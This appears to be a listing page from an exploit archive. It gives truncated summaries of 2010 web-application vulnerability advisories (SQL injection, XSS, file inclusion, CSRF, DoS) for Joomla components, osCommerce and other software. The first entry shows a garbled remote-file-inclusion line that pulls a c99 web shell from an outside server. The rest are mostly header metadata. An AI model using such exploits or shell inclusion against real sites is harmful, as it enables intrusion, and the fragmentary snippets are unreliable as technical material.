Waibrasil - Local/Remote File Inclusion

Title: Waibrasil Remote / Local File Inclusion Date: 10-05-2010 Author: eXeSoul Vendor: www.waibrasil.com.br category: RFI / LFI Version: webapps Tested on: Apcahe/Unix VCE: Code : hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt? Dork :...

Rad User Manager Cross Site Scripting

Exploit Title: Rad User Manager XSS Vulnerabilities Date: 01.05.2010 Author: Valentin Category: webapps/0day Version: 2.90 Tested on: Debian Linux, Apache2, PHP5, MySQL5 CVE : Code : :::::::::::::::::::::::::::::::::::::: 0x1 :::::::::::::::::::::::::::::::::::::: General Information...

Joomla! Component Table JX - Cross-Site Scripting

Exploit Title: Joomla Component Table JX XSS Vulnerabilities Date: 01.05.2010 Author: Valentin Category: webapps/0day Code : :::::::::::::::::::::::::::::::::::::: 0x1 :::::::::::::::::::::::::::::::::::::: General Information Advisory/Exploit Title = Joomla Component Table JX XSS Vulnerabilities...

osCommerce 3.0a5 Cross Site Request Forgery / Cross Site Scripting / Local File Inclusion

Multiple Vulnerabilities in osCommerce Vendor SW: osCommerce Version: 3.0a5 but possible all versions Vendor URL: www.oscommerce.com Tested on: Ubuntu Server 9.10 Category: Webapps/0day Date: 30 Apr 2010 Author: Alberto Fontanella Author WEB: ictsec.wordpress.com Author EMAIL: itsicurezzayahoo.it...

New-CMS - Multiple Vulnerabilities

Multiple Vulnerability in New-CMS Vendor SW: New-CMS Version: 1.08 but possible all versions Vendor URL: www.new-cms.org Tested on: Ubuntu Server 9.10 Category: Webapps/0day Date: 17 Feb 2010 Author: Alberto "fulgur" Fontanella Author URL: ictsec.wordpress.com Author EMAIL: itsicurezzayahoo.it 1 ...

phpGreetCards 3.7 Cross Site Scripting

Exploit Title: phpGreetCards XSS Vulnerabilities Date: 22.04.2010 Author: Valentin Category: webapps/0day Version: 3.7 Tested on: CVE : Code : :::::::::::::::::::::::::::::::::::::: 0x1 :::::::::::::::::::::::::::::::::::::: General Information Advisory/Exploit Title = phpGreetCards XSS...

Nuked-Klan 1.7.7 Mass Register & Denial Of Service

Exploit for multiple platform in category dos / poc ================================================== Nuked-Klan 1.7.7 Mass Register & Denial Of Service ================================================== usr/bin/env Ruby Mass Register, Denial Of Service Attack On Nuked-Klan 1.7.7 23/04/10 Code B...

DL_Stats Cross Site Scripting / Admin Bypass / SQL Injection

Exploit Title: dlstats Multiple Vulnerabilities Date: 18.04.2010 Author: Valentin Category: webapps/0day Version: Tested on: CVE : Code : :::::::::::::::::::::::::::::::::::::: 0x1 :::::::::::::::::::::::::::::::::::::: |:: General Information |:: Advisory/Exploit Title = dlstats Multiple...

Joomla Component com_joltcard SQL Injection Vulnerability

Exploit for php platform in category web applications ========================================================= Joomla Component comjoltcard SQL Injection Vulnerability ========================================================= Exploit Title: Joomla Component comjoltcard SQL Injection Vulnerabilit...

Joomla! Component JoltCard 1.2.1 - SQL Injection

Exploit Title: Joomla Component comjoltcard SQL Injection Vulnerability Date: 17.04.2010 Author: Valentin Category: webapps/0day Version: unknown Tested on: CVE : Code : :::::::::::::::::::::::::::::::::::::: 0x1 :::::::::::::::::::::::::::::::::::::: |:: General Information |:: Advisory/Exploit...

Joomla! Component com_pandafminigames - SQL Injection

Exploit Title: Joomla Component compandafminigames SQL Injection Vulnerabilities Date: 16.04.2010 Author: Valentin Category: webapps/0day Version: unknown Tested on: CVE : Code : :::::::::::::::::::::::::::::::::::::: 0x1 :::::::::::::::::::::::::::::::::::::: |:: General Information |::...

Joomla Component QPersonel SQL Injection Vulnerability

No description provided by source. Exploit Title: Joomla Component QPersonel SQL Injection Vulnerability Date: 13.04.2010 Author: Valentin Category: webapps/0day Version: XSS security fix from 31.12.2009, 1.02 and before Tested on: Debian Lenny, MySQL 5 CVE : Code :...

Joomla! Component QPersonel 1.0.2 - SQL Injection

Exploit Title: Joomla Component QPersonel SQL Injection Vulnerability Date: 13.04.2010 Author: Valentin Category: webapps/0day Version: XSS security fix from 31.12.2009, 1.02 and before Tested on: Debian Lenny, MySQL 5 CVE : Code : :::::::::::::::::::::::::::::::::::::: 0x1...

OnePC mySite Management Software SQL Injection

Exploit Title: OnePC mySite Management Software SQL Injection Vulnerability Date: 10.04.2010 Author: Valentin Category: webapps/0day Version: Tested on: CVE : Code : :: General information :: OnePC mySite Management Software SQL Injection Vulnerability :: by Valentin Hoebel :: [email protected]...

Joomla! Component mv_restaurantmenumanager - SQL Injection

========================================================= Joomla component mvrestaurantmenumanager SQL injection Vulnerability ========================================================= Exploit Title : joomla component mvrestaurantmenumanager SQL injection Vulnerability Date : 12 april 2010 Author...

Joomla! Component mv_restaurantmenumanager - SQL Injection

Joomla! Component mvrestaurantmenumanager - SQL Injection ========================================================= Joomla component mvrestaurantmenumanager SQL injection Vulnerability ========================================================= Exploit Title : joomla component mvrestaurantmenumanag...

ShopSystem - SQL Injection

Exploit Title: ShopSystem SQL Injection vulnerability Date: 05.04.2010 Author: Valentin Category: webapps/0day :: General information :: ShopSystem SQL Injection vulnerability :: by Valentin Hoebel :: [email protected] :: Product information :: Name = ShopSystem :: Vendor = ShopSystems :: Vend...

Joomla Component com_personal SQL Injection Vulnerability

Exploit for php platform in category web applications ========================================================= Joomla Component compersonal SQL Injection Vulnerability ========================================================= Title : Joomla Component compersonal SQL Injection Vulnerability Autho...

Devana - SQL Injection

Devana - SQL Injection Exploit Title: Devana SQL Injection vulnerability Date: 28.03.2010 Author: Valentin Category: webapps/0day Version: Tested on: Debian lenny, Apache2, MySQL5 CVE : Code : :: General information :: Devana SQL injection vulnerability detected :: by Valentin Hoebel ::...

Devana - SQL Injection

Exploit Title: Devana SQL Injection vulnerability Date: 28.03.2010 Author: Valentin Category: webapps/0day Version: Tested on: Debian lenny, Apache2, MySQL5 CVE : Code : :: General information :: Devana SQL injection vulnerability detected :: by Valentin Hoebel :: [email protected] :: Product...